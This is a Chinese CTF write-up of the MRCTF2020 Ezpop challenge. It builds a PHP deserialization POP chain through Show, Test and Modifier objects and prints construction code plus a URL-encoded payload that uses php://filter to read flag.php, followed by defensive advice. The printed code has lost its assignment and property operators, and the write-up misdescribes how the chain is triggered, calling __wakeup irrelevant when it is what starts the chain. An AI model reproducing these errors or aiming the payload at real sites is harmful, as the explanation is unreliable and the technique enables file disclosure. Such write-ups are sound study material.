1. 从MRCTF2020 Ezpop理解PHP反序列化漏洞本质第一次看到MRCTF2020 Ezpop这道CTF题目时很多新手可能会被反序列化、POP链这些术语吓到。其实说白了这就是个用特定方式触发魔术方法连锁反应的把戏。就像推倒多米诺骨牌只要找到正确的起点轻轻一推整个链条就会按照我们设计的方向运行。这道题的核心目标是读取flag.php文件内容。题目给出了三个关键类Modifier、Show和Test每个类都包含特殊的魔术方法。魔术方法是PHP中当对象发生特定操作时自动调用的方法比如__toString()会在对象被当作字符串使用时触发。理解这些触发条件就是构造POP链的关键。我刚开始学反序列化时最大的误区是以为序列化会把整个类包括方法都保存下来。实际上序列化只保存类名和属性值方法定义并不会被序列化。这就像你保存了一个游戏存档存档里只记录角色属性不包含游戏代码本身。反序列化时PHP会根据类名重新加载类定义然后恢复属性值。2. 关键魔术方法触发条件深度解析2.1 __invoke()的妙用Modifier类中的__invoke()方法是整个攻击链的终点站。当对象被当作函数调用时这个方法会自动触发。比如$mod new Modifier(); $mod(); // 这会触发__invoke()在题目中__invoke()调用了append()方法执行文件包含。所以我们的目标就是想办法让Modifier对象被当作函数调用。2.2 __get()的触发机制Test类的__get()方法会在访问不存在的属性时触发。比如$test new Test(); $test-nonExistProperty; // 触发__get()这个方法内部把$this-p当作函数调用如果p是一个Modifier对象就会触发我们需要的__invoke()。2.3 __toString()的字符串转换Show类的__toString()在对象被当作字符串使用时触发。比如$show new Show(); echo $show; // 触发__toString()这个方法返回$this-str-source如果str是一个Test对象且没有source属性就会触发Test的__get()。3. POP链的完整构造思路3.1 从终点倒推攻击链我习惯从最终要执行的操作倒推调用链最终目标执行include(flag.php)需要调用Modifier的append()方法append()需要通过__invoke()触发__invoke()需要Modifier对象被当作函数调用Test类的__get()正好会把$this-p当作函数调用触发__get()需要访问不存在的属性Show类的__toString()会尝试访问$str-source如果$str是Test对象且没有source属性就会触发__get()触发__toString()需要Show对象被当作字符串使用把Show对象赋值给source属性在序列化时会自动触发字符串转换3.2 具体调用流程完整的调用链是这样的__construct() - __toString() - __get() - __invoke() - append() - include()创建Show对象时自动调用__construct()把Show对象赋值给另一个Show对象的source属性序列化时source会被当作字符串处理触发__toString()__toString()尝试访问$str-source但$str是Test对象且没有source属性触发Test的__get()方法__get()把$this-p(Modifier对象)当作函数调用触发Modifier的__invoke()__invoke()调用append()执行文件包含4. 实战payload构造详解4.1 类属性初始化首先我们需要初始化各个类的属性$modifier new Modifier(); $modifier-var php://filter/readconvert.base64-encode/resourceflag.php; $test new Test(); $test-p $modifier; $showInner new Show(); $showInner-str $test; $showOuter new Show(); $showOuter-source $showInner;这里用到了php://filter伪协议来读取文件内容并用base64编码避免特殊字符问题。4.2 序列化过程将最终对象序列化$payload serialize($showOuter); echo urlencode($payload);生成的payload形如O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D4.3 绕过__wakeup限制Show类中有个__wakeup()方法会检查source属性如果包含特定协议就会重置为index.php。但我们的source是对象而不是字符串所以不会触发这个检查。5. 防御措施与安全建议在实际开发中要防范这类反序列化漏洞我有几个实用建议不要反序列化不可信的输入数据这是最根本的解决方案对魔术方法的使用要谨慎特别是涉及文件操作、系统调用的方法使用php的open_basedir限制文件访问范围考虑使用json_encode/json_decode代替序列化对必须使用序列化的场景可以添加数字签名验证数据完整性我在实际项目中遇到过因为不当使用__wakeup()导致的漏洞后来我们团队制定了严格的代码审查流程对所有魔术方法的使用都要特别标注说明。